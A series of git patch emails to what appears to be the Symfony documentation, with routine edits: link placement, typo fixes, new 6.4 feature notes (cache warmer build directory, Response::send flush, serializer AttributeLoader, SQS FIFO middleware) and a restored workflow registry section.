From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 16 Oct 2023 19:52:36 +0200
Subject: [PATCH 3950/5766] Doctor RST ensure link definitions bottom

---
 .doctor-rst.yaml                  | 1 +
 contributing/code/conventions.rst | 4 ++--
 frontend/encore/faq.rst           | 7 +++----
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index c307c959410..950324be7e4 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -14,6 +14,7 @@ rules:
     ensure_bash_prompt_before_composer_command: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_link_bottom: ~
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     ensure_php_reference_syntax: ~
diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index cd1d87b4282..455bc8de0ed 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -181,8 +181,6 @@ after the use declarations, like in this example from `ServiceRouterLoader`_::
      */
     class ServiceRouterLoader extends ObjectRouteLoader
 
-.. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php
-
 The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component:
 
 .. code-block:: markdown
@@ -239,3 +237,5 @@ Commands and their options should be named and described using the English
 imperative mood (i.e. 'run' instead of 'runs', 'list' instead of 'lists'). Using
 the imperative mood is concise and consistent with similar command-line
 interfaces (such as Unix man pages).
+
+.. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 6c1392ac5a0..60dc7cc9e9d 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -137,8 +137,6 @@ For performance, Encore does not process libraries inside ``node_modules/`` thro
 Babel. But, you can change that via the ``configureBabel()`` method. See
 :doc:`/frontend/encore/babel` for details.
 
-.. _`rsync`: https://rsync.samba.org/
-
 How Do I Integrate my Encore Configuration with my IDE?
 -------------------------------------------------------
 
@@ -168,8 +166,6 @@ running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to
 
     // ... the rest of the Encore configuration
 
-.. _`Webpack integration in PhpStorm`: https://www.jetbrains.com/help/phpstorm/using-webpack.html
-
 My Tests are Failing Because of ``entrypoints.json`` File
 ---------------------------------------------------------
 
@@ -194,3 +190,6 @@ functions to trigger exceptions when there's no ``entrypoints.json`` file):
     webpack_encore:
         strict_mode: false
         # ...
+
+.. _`rsync`: https://rsync.samba.org/
+.. _`Webpack integration in PhpStorm`: https://www.jetbrains.com/help/phpstorm/using-webpack.html

From 585e571627f79d07fa09174e1b187b53828cb5ed Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 16 Oct 2023 21:04:03 +0200
Subject: [PATCH 3951/5766] Document InteractiveLoginEvent

---
 security.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security.rst b/security.rst
index 0f2c338c0a4..5a44ca2122b 100644
--- a/security.rst
+++ b/security.rst
@@ -2654,6 +2654,12 @@ Authentication Events
 Other Events
 ~~~~~~~~~~~~
 
+:class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
+    Dispatched after authentication was fully successful only when the authenticator
+    implements :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`,
+    which indicates login requires explicit user action (e.g. a login form).
+    Listeners to this event can modify the response sent back to the user.
+
 :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
     Dispatched just before a user logs out of your application. See
     :ref:`security-logging-out`.

From 6ae73f5cbad4b778be1ac131c6783e541131060d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 17 Oct 2023 21:44:32 +0200
Subject: [PATCH 3952/5766] [Encore] Updating Babel Plugin

---
 frontend/encore/installation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 118e15e7b0e..26d4b4242f7 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -111,7 +111,7 @@ is the main config file for both Webpack and Webpack Encore:
         .enableVersioning(Encore.isProduction())
 
         .configureBabel((config) => {
-            config.plugins.push('@babel/plugin-proposal-class-properties');
+            config.plugins.push('@babel/plugin-transform-class-properties');
         })
 
         // enables @babel/preset-env polyfills

From 2026c739f317c0e348e7af87b041f5079132c881 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Oct 2023 11:12:32 +0200
Subject: [PATCH 3953/5766] [FrameworkBundle][HttpKernel] Introduce `$buildDir`
 argument to `WarmableInterface::warmup` to warm read-only artefacts in
 `build_dir`

---
 reference/dic_tags.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index ff51db99b6e..d1100bb2395 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -490,7 +490,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 
     class MyCustomWarmer implements CacheWarmerInterface
     {
-        public function warmUp($cacheDirectory): array
+        public function warmUp(string $cacheDir, string $buildDir = null): array
         {
             // ... do some sort of operations to "warm" your cache
 
@@ -515,7 +515,15 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 The ``warmUp()`` method must return an array with the files and classes to
 preload. Files must be absolute paths and classes must be fully-qualified class
 names. The only restriction is that files must be stored in the cache directory.
-If you don't need to preload anything, return an empty array.
+If you don't need to preload anything, return an empty array. If read-only
+artefacts need to be created, you can store them in a different directory
+with the ``$buildDir`` parameter of the ``warmUp()`` method.
+
+.. versionadded:: 6.4
+
+    The ``$buildDir`` parameter of the
+    :method:`Symfony\\Component\\HttpKernel\\CacheWarmer\\WarmableInterface::warmUp`
+    method was introduced in Symfony 6.4.
 
 The ``isOptional()`` method should return true if it's possible to use the
 application without calling this cache warmer. In Symfony, optional warmers

From cea81ec34f9eff81969deac9444847188abc4490 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Oct 2023 10:45:30 +0200
Subject: [PATCH 3954/5766] [HttpFoundation] Add $flush parameter to
 Response::send()

---
 components/http_foundation.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 82de7c11800..67417ad81fe 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -487,6 +487,20 @@ Sending the response to the client is done by calling the method
 
     $response->send();
 
+The ``send()`` method takes an optional ``flush`` argument. If set to
+``false``, functions like ``fastcgi_finish_request()`` or
+``litespeed_finish_request()`` are not called. This is useful when debugging
+your application to see which exceptions are thrown in listeners of the
+:class:`Symfony\\Component\\HttpKernel\\Event\\TerminateEvent`. You can learn
+more about it in
+:ref:`the dedicated section about Kernel events <http-kernel-creating-listener>`.
+
+.. versionadded:: 6.4
+
+    The ``$flush`` parameter of the
+    :method:`Symfony\\Component\\HttpFoundation\\Response::send` method
+    was introduced in Symfony 6.4.
+
 Setting Cookies
 ~~~~~~~~~~~~~~~
 

From 822ea3ad91dc3fb90c15ffab04f2fd6a86cc274d Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Wed, 18 Oct 2023 10:08:56 -0400
Subject: [PATCH 3955/5766] Adding missing "as" to style link header

---
 web_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/web_link.rst b/web_link.rst
index 757821094e3..82466e56b42 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -164,7 +164,7 @@ You can also add links to the HTTP response directly from controllers and servic
         public function index(Request $request): Response
         {
             // using the addLink() shortcut provided by AbstractController
-            $this->addLink($request, new Link('preload', '/app.css'));
+            $this->addLink($request, (new Link('preload', '/app.css'))->withAttribute('as', 'style'));
 
             // alternative if you don't want to use the addLink() shortcut
             $linkProvider = $request->attributes->get('_links', new GenericLinkProvider());

From 63aac53ecfa5683d8acc672902e2b1db0b7bc902 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 18 Oct 2023 16:36:35 +0200
Subject: [PATCH 3956/5766] link symfony default style on coloring
 documentation

---
 console/coloring.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/console/coloring.rst b/console/coloring.rst
index a481b7650ff..083069fb69e 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -102,6 +102,11 @@ you can click on the *"Symfony Homepage"* text to open its URL in your default
 browser. Otherwise, you'll see *"Symfony Homepage"* as regular text and the URL
 will be lost.
 
+.. tip::
+
+    If you need a standard yet complete style, you can leverage the :doc:`default
+    Symfony Style </console/style>`.
+
 .. _Cmder: https://github.com/cmderdev/cmder
 .. _ConEmu: https://conemu.github.io/
 .. _ANSICON: https://github.com/adoxa/ansicon/releases

From 17705ebf7be6f71f6b6f764dd17543e959286cd6 Mon Sep 17 00:00:00 2001
From: mohamed <msenoussi@wanadev.fr>
Date: Thu, 19 Oct 2023 11:04:07 +0200
Subject: [PATCH 3957/5766] [Validator] Change return type from iterable to
 Generator

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 0dffa0fa29d..16a02c12894 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -660,7 +660,7 @@ class to simplify writing unit tests for your custom constraints::
                 ->assertRaised();
         }
 
-        public function provideInvalidConstraints(): iterable
+        public function provideInvalidConstraints(): \Generator
         {
             yield [new ContainsAlphanumeric(message: 'myMessage')];
             // ...

From 88ad1cf88c5b3f429f955ab5837cef692a03c97a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Oct 2023 14:26:38 +0200
Subject: [PATCH 3958/5766] Mention PCNTL extension installation

---
 components/console/events.rst | 5 ++++-
 components/lock.rst           | 6 ++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 45f228e7399..92659aac82a 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -152,6 +152,8 @@ Listeners receive a
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
 
+.. _console_signal-event:
+
 The ``ConsoleEvents::SIGNAL`` Event
 -----------------------------------
 
@@ -184,7 +186,8 @@ Listeners receive a
 .. tip::
 
     All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
-    `constants of the PCNTL PHP extension`_.
+    `constants of the PCNTL PHP extension`_. The extension has to be installed
+    for these constants to be available.
 
 If you use the Console component inside a Symfony application, commands can
 handle signals themselves. To do so, implement the
diff --git a/components/lock.rst b/components/lock.rst
index f38b8d27e63..14c787e16cd 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -269,6 +269,11 @@ Lock will be released automatically as soon as one process finishes::
     }
     // ...
 
+.. note::
+
+    In order for the above example to work, the `PCNTL`_ extension must be
+    installed.
+
 To disable this behavior, set the ``autoRelease`` argument of
 ``LockFactory::createLock()`` to ``false``. That will make the lock acquired
 for 3600 seconds or until ``Lock::release()`` is called::
@@ -1074,3 +1079,4 @@ are still running.
 .. _`ZooKeeper`: https://zookeeper.apache.org/
 .. _`readers-writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock
 .. _`priority policy`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock#Priority_policies
+.. _`PCNTL`: https://www.php.net/manual/book.pcntl.php

From f53d88fdca8e7d7fc755ce84984cff414deddf92 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 12:03:54 +0200
Subject: [PATCH 3959/5766] [Serializer] Deprecate annotations

---
 components/property_info.rst | 21 ++++++++++++++++-----
 components/serializer.rst    | 31 ++++++++++++++++++++++++++-----
 2 files changed, 42 insertions(+), 10 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index d5699ea1bab..a95975aadd5 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -464,19 +464,30 @@ the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
 provides list information. This extractor is *not* registered automatically
 with the ``property_info`` service in the Symfony Framework::
 
-    use Doctrine\Common\Annotations\AnnotationReader;
     use Symfony\Component\PropertyInfo\Extractor\SerializerExtractor;
     use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader;
+    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
 
-    $serializerClassMetadataFactory = new ClassMetadataFactory(
-        new AnnotationLoader(new AnnotationReader)
-    );
+    $serializerClassMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
     $serializerExtractor = new SerializerExtractor($serializerClassMetadataFactory);
 
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
 
+.. versionadded:: 6.4
+
+    The
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
+    was introduced in Symfony 6.4. Prior to this, the
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
+    must be used.
+
+.. deprecated:: 6.4
+
+    The
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
+    was deprecated in Symfony 6.4.
+
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
diff --git a/components/serializer.rst b/components/serializer.rst
index f879d5167c6..fc047ad7467 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -279,6 +279,13 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
 
+* Attributes in PHP files::
+
+    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+
+    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+
 * YAML files::
 
     use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
@@ -293,6 +300,21 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
 
+.. versionadded:: 6.4
+
+    The
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
+    was introduced in Symfony 6.4. Prior to this, the
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
+    must be used.
+
+.. deprecated:: 6.4
+
+    Reading annotations in PHP files is deprecated since Symfony 6.4.
+    Also, the
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
+    was deprecated in Symfony 6.4.
+
 .. _component-serializer-attributes-groups-annotations:
 .. _component-serializer-attributes-groups-attributes:
 
@@ -645,7 +667,7 @@ this is already set up and you only need to provide the configuration. Otherwise
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
 
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
+    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
 
     $metadataAwareNameConverter = new MetadataAwareNameConverter($classMetadataFactory);
 
@@ -1533,10 +1555,9 @@ Instead of throwing an exception, a custom callable can be executed when the
 maximum depth is reached. This is especially useful when serializing entities
 having unique identifiers::
 
-    use Doctrine\Common\Annotations\AnnotationReader;
     use Symfony\Component\Serializer\Annotation\MaxDepth;
     use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader;
+    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
     use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
@@ -1560,7 +1581,7 @@ having unique identifiers::
     $level3->id = 3;
     $level2->child = $level3;
 
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
+    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
 
     // all callback parameters are optional (you can omit the ones you don't use)
     $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, string $format = null, array $context = []): string {
@@ -1761,7 +1782,7 @@ this is already set up and you only need to provide the configuration. Otherwise
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
 
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
+    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
 
     $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
 

From 167c735b2edb984afd3bcfea41f1c22a1578f0ac Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 13:15:25 +0200
Subject: [PATCH 3960/5766] [Messenger] Clarify transport creation example

---
 components/messenger.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 9d46184bef4..e26e7838107 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -302,17 +302,23 @@ do is to write your own CSV receiver::
     {
         private $serializer;
         private $filePath;
+        private $connection;
 
         public function __construct(SerializerInterface $serializer, string $filePath)
         {
             $this->serializer = $serializer;
             $this->filePath = $filePath;
+
+            // Available connection bundled with the Messenger component
+            // can be found in "Symfony\Component\Messenger\Bridge\*\Transport\Connection".
+            $this->connection = /* create your connection */;
         }
 
         public function get(): iterable
         {
             // Receive the envelope according to your transport ($yourEnvelope here),
             // in most cases, using a connection is the easiest solution.
+            $yourEnvelope = $this->connection->get();
             if (null === $yourEnvelope) {
                 return [];
             }
@@ -338,7 +344,9 @@ do is to write your own CSV receiver::
         public function reject(Envelope $envelope): void
         {
             // In the case of a custom connection
-            $this->connection->reject($this->findCustomStamp($envelope)->getId());
+            $id = /* get the message id thanks to information or stamps present in the envelope */;
+
+            $this->connection->reject($id);
         }
     }
 

From 683204877fc91ec9ec7fff541389b7d8d6647d85 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 19:34:08 +0200
Subject: [PATCH 3961/5766] [HtmlSanitizer] Add support for sanitizing
 unlimited length of HTML document

---
 html_sanitizer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index baef54e79d4..1f451bfb867 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -1009,6 +1009,14 @@ increase or decrease this limit:
                 ->withMaxInputLength(20000)
         );
 
+It is possible to disable this length limit by setting the max input length to
+``-1``. Beware that it may expose your application to `DoS attacks`_.
+
+.. versionadded:: 6.4
+
+    The support for disabling the length limit of the HTML sanitizer was
+    introduced in Symfony 6.4.
+
 Custom Attribute Sanitizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 6de47c54b3bc5e81053a676a7beed9533b4bc914 Mon Sep 17 00:00:00 2001
From: Susheel Thapa <sushilthapa9844242743@gmail.com>
Date: Fri, 20 Oct 2023 08:02:53 +0545
Subject: [PATCH 3962/5766] Chore: Fix typo in multiple files

---
 components/console/helpers/progressbar.rst | 2 +-
 configuration.rst                          | 2 +-
 reference/constraints/PasswordStrength.rst | 2 +-
 security/access_control.rst                | 2 +-
 service_container/autowiring.rst           | 4 ++--
 validation.rst                             | 2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 58f1fba37ff..47288fef1af 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -5,7 +5,7 @@ When executing longer-running commands, it may be helpful to show progress
 information, which updates as your command runs:
 
 .. image:: /_images/components/console/progressbar.gif
-    :alt: Console output showing a progress bar advance to 100%, with the esimated time left, the memory usage and a special message that changes when the bar closes completion.
+    :alt: Console output showing a progress bar advance to 100%, with the estimated time left, the memory usage and a special message that changes when the bar closes completion.
 
 .. note::
 
diff --git a/configuration.rst b/configuration.rst
index e4a923c5858..c241b038fc1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1019,7 +1019,7 @@ implements :class:`Symfony\\Component\\DependencyInjection\\EnvVarLoaderInterfac
 .. note::
 
     If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-    the autoconfiguration feature will enable and tag thise service automatically.
+    the autoconfiguration feature will enable and tag this service automatically.
     Otherwise, you need to register and :doc:`tag your service </service_container/tags>`
     with the ``container.env_var_loader`` tag.
 
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 10a19b342d6..ddc3fd18043 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -6,7 +6,7 @@ PasswordStrength
     The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
 
 Validates that the given password has reached the minimum strength required by
-the constraint. The strengh of the password is not evaluated with a set of
+the constraint. The strength of the password is not evaluated with a set of
 predefined rules (include a number, use lowercase and uppercase characters,
 etc.) but by measuring the entropy of the password based on its length and the
 number of unique characters used.
diff --git a/security/access_control.rst b/security/access_control.rst
index abba217702f..ebf2227b42c 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -161,7 +161,7 @@ Take the following ``access_control`` entries as an example:
                 ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
             ;
 
-            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') mehtod,
+            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') method,
             // instead of attributes(['_route' => 'xxx']) method
             $security->accessControl()
                 ->roles(['ROLE_ADMIN'])
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index daa1e96328b..96b78ab39e2 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -658,10 +658,10 @@ Generate Closures With Autowiring
 ---------------------------------
 
 A **service closure** is an anonymous function that returns a service. This type
-of instanciation is handy when you are dealing with lazy-loading.  It is also
+of instantiation is handy when you are dealing with lazy-loading.  It is also
 useful for non-shared service dependencies.
 
-Automatically creating a closure encapsulating the service instanciation can be
+Automatically creating a closure encapsulating the service instantiation can be
 done with the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
 attribute::
diff --git a/validation.rst b/validation.rst
index af98a7ff852..d391aa6492c 100644
--- a/validation.rst
+++ b/validation.rst
@@ -649,7 +649,7 @@ properties even if the child properties override those constraints**. Symfony
 will always merge the parent constraints for each property.
 
 You can't change this behavior, but you can overcome it by defining the parent
-and the child contraints in different :doc:`validation groups </validation/groups>`
+and the child constraints in different :doc:`validation groups </validation/groups>`
 and then select the appropriate group when validating each object.
 
 Debugging the Constraints

From 06127bfeeee9d3571c4dcbe4d302f5fa6cf3a49a Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent.chareunphol@the-oz.com>
Date: Fri, 20 Oct 2023 07:48:19 +0200
Subject: [PATCH 3963/5766] Add post method attribute to json login

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 5a44ca2122b..3eadb77f384 100644
--- a/security.rst
+++ b/security.rst
@@ -1054,7 +1054,7 @@ token (or whatever you need to return) and return the JSON response:
 
       class ApiLoginController extends AbstractController
       {
-          #[Route('/api/login', name: 'api_login')]
+          #[Route('/api/login', name: 'api_login', methods: ['POST'])]
     -     public function index(): Response
     +     public function index(#[CurrentUser] ?User $user): Response
           {

From 5e3f96275ae82b4eb922dc85850e0abe70c29948 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Fri, 20 Oct 2023 08:25:03 +0200
Subject: [PATCH 3964/5766] Update pull_requests.rst

Replace "ticket" with "issue"

Follows https://github.com/symfony/symfony/pull/52189
---
 contributing/code/pull_requests.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 9f12ed93da4..564ac26bb4a 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -172,8 +172,8 @@ Then create a new branch off the ``5.4`` branch to work on the bug fix:
 
 .. tip::
 
-    Use a descriptive name for your branch (``ticket_XXX`` where ``XXX`` is the
-    ticket number is a good convention for bug fixes).
+    Use a descriptive name for your branch (``fix_XXX`` where ``XXX`` is the
+    issue number is a good convention for bug fixes).
 
 The above checkout commands automatically switch the code to the newly created
 branch (check the branch you are working on with ``git branch``).
@@ -338,7 +338,7 @@ Symfony as quickly as possible.
 Some answers to the questions trigger some more requirements:
 
 * If you answer yes to "Bug fix?", check if the bug is already listed in the
-  Symfony issues and reference it/them in "Fixed tickets";
+  Symfony issues and reference it/them in "Issues";
 
 * If you answer yes to "New feature?", you must submit a pull request to the
   documentation and reference it under the "Doc PR" section;

From 08344a47759e2d1819eaf8c6378da33a7012c594 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 19:28:03 +0200
Subject: [PATCH 3965/5766] [Messenger] Add AddFifoStamp middleware for SQS

---
 messenger.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 75e613121b9..bd3e265fdd1 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1811,6 +1811,27 @@ The transport has a number of options:
     Use the stamp :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp`
     to define the ``Message group ID`` and the ``Message deduplication ID``.
 
+    Another possibility is to enable the
+    :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Middleware\\AddFifoStampMiddleware`.
+    If your message implements
+    :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageDeduplicationAwareInterface`,
+    the middleware will automatically add the
+    :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp`
+    and set the ``Message deduplication ID``. Additionally, if your message implements the
+    :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageGroupAwareInterface`,
+    the middleware will automatically set the ``Message group ID`` of the stamp.
+
+    You can learn more about middlewares in
+    :ref:`the dedicated section <messenger_middleware>`.
+
+    .. versionadded:: 6.4
+
+        The
+        :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Middleware\\AddFifoStampMiddleware`,
+        :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageDeduplicationAwareInterface`
+        and :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageGroupAwareInterface`
+        were introduced in Symfony 6.4.
+
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
@@ -2379,6 +2400,8 @@ are a variety of different stamps for different purposes and they're used intern
 to track information about a message - like the message bus that's handling it
 or if it's being retried after failure.
 
+.. _messenger_middleware:
+
 Middleware
 ~~~~~~~~~~
 

From 4aaca2ed0ceb444d15e622f30811283f22150024 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 20 Oct 2023 13:36:04 +0200
Subject: [PATCH 3966/5766] [Workflow] Revert deprecation about Registry

---
 components/workflow.rst | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

diff --git a/components/workflow.rst b/components/workflow.rst
index a6ca1084d78..12a9c98ab2f 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -85,6 +85,41 @@ method to initialize the object property::
     // initiate workflow
     $workflow->getMarking($blogPost);
 
+Using The Workflow Registry
+---------------------------
+
+When you define multiple workflows you may consider using a ``Registry``,
+which is an object that stores and provides access to different workflows.
+A registry will also help you to decide if a workflow supports the object you
+are trying to use it with::
+
+    use Acme\Entity\BlogPost;
+    use Acme\Entity\Newsletter;
+    use Symfony\Component\Workflow\Registry;
+    use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
+
+    $blogPostWorkflow = ...;
+    $newsletterWorkflow = ...;
+
+    $registry = new Registry();
+    $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
+    $registry->addWorkflow($newsletterWorkflow, new InstanceOfSupportStrategy(Newsletter::class));
+
+You can then use the registry to get the workflow for a specific object::
+
+    $blogPost = new BlogPost();
+    $workflow = $registry->get($blogPost);
+
+    // initiate workflow
+    $workflow->getMarking($blogPost);
+
+.. caution::
+
+    Beware that injecting the ``Registry`` into your services is **not**
+    recommended. Indeed, it prevents some optimization like lazy-loading
+    from working and could be a performance hog. Instead, you should always
+    inject the workflow you need.
+
 Learn more
 ----------
 

From f410d8889279b1218629c8ae4bfb4e941931c1f2 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Sun, 22 Oct 2023 01:39:49 +0200
